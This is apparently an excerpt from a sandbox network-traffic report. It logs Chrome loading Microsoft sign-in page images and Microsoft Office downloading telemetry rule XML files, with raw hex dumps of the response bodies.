2024-12-05 21:17:15 UTC	5529	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ad 5b 7d 77 9b 46 d6 ff 7f 3f 05 62 f7 28 b0 19 63 bb 69 9b 16 97 fa 38 7a 49 d4 da b1 6b c9 ed 66 93 1c 1d 24 46 12 31 02 ca 20 db aa a5 ef fe fc ee 0c 08 24 21 d9 e9 b3 3d a9 31 33 77 ee dc b9 73 df 2f 3e fc 77 ed 1f da bf b5 83 e7 ff a7 75 7b 67 d7 3d ed b2 ad f5 de 75 ae 9b da 15 de 3e 68 ef 2f 7b 9d 46 eb f9 78 68 53 fa bf 37 f1 85 36 f2 03 ae e1 39 70 05 f7 b4 28 d4 a2 44 f3 c3 61 94 c4 51 e2 a6 5c 68 53 fc 4c 7c 37 d0 46 49 34 d5 d2 09 d7 e2 24 fa c2 87 a9 d0 02 5f a4 58 34 e0 41 74 af 19 40 97 78 da 95 9b a4 73 ad 73 65 5a c0 cf 81 cd 1f fb 21 56 0f a3 78 8e df 27 a9 16 46 a9 3f e4 9a 1b 7a 12 5b 80 97 50 70 6d 16 7a 3c d1 ee 27 fe 70 a2 5d f8 c3 24 12 d1 28 d5 12 3e e4 fe 1d 36 11 33 8c af 6f c1 34 37 e1 9a e0 a9 36 Data Ascii: [}wF?b(ci8zIkf$F1 $!=13ws/>wu{g=u>h/{FxhS769p(DaQ\hSL\|7FI4$_X4At@xsseZ!Vx'F?z[Ppmz<'p]$(>63o476

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	49865	13.107.246.63	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:14 UTC	662	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:17:15 UTC	784	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:15 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:46 GMT ETag: 0x8DB5C3F47E260FD x-ms-request-id: 81d8698e-101e-0022-274e-3871f6000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241205T211715Z-1746fd949bdb8xvchC1EWRmbd40000000320000000012d32 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:15 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	49866	13.107.246.63	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:14 UTC	663	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:17:15 UTC	785	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:15 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4911527F x-ms-request-id: 06b5c10d-d01e-0054-7e96-3fb3ac000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241205T211715Z-1746fd949bdjzh7thC1EWR3g64000000035g00000000ytx6 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:15 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:15 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:16 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:15 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: f87bd39b-701e-0097-59cc-45b8c1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211715Z-1746fd949bdkw94lhC1EWRxuz400000003gg000000001eb0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:16 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:15 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:16 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:15 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 901a75be-701e-0053-76cb-453a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211715Z-1746fd949bdwt8wrhC1EWRu6rg00000003b000000000s6gs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:16 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:15 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:16 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:15 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 5cfda45f-901e-00ac-3dce-45b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211715Z-1746fd949bdw2rg8hC1EWR11u400000003dg00000000xss9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:16 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:15 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:16 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:15 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 2accf417-001e-0014-64cb-455151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211715Z-1746fd949bd9x4mhhC1EWRb76n000000037000000000v8ns x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:16 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:15 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:16 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:15 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 71541f9e-801e-0078-2fc7-45bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211715Z-1746fd949bdjzh7thC1EWR3g64000000038g00000000nvur x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:16 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	49873	13.107.246.63	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:17 UTC	417	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:17:17 UTC	784	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:17 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:46 GMT ETag: 0x8DB5C3F47E260FD x-ms-request-id: 99f034d5-c01e-0058-5946-4724a4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241205T211717Z-1746fd949bdzd2qvhC1EWRcygw00000003300000000038dh x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:17 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	49874	13.107.246.63	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:17 UTC	418	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:17:17 UTC	785	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:17 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4911527F x-ms-request-id: 06b5c10d-d01e-0054-7e96-3fb3ac000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241205T211717Z-1746fd949bdmv56chC1EWRypnn00000003ag00000000s4y9 x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:17 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	49875	13.107.246.63	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:17 UTC	663	OUT	GET /shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:17:18 UTC	784	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:18 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F49ED96E0 x-ms-request-id: aa8c546e-d01e-0025-2273-426a2a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241205T211718Z-1746fd949bdjzh7thC1EWR3g64000000037000000000t0bk x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
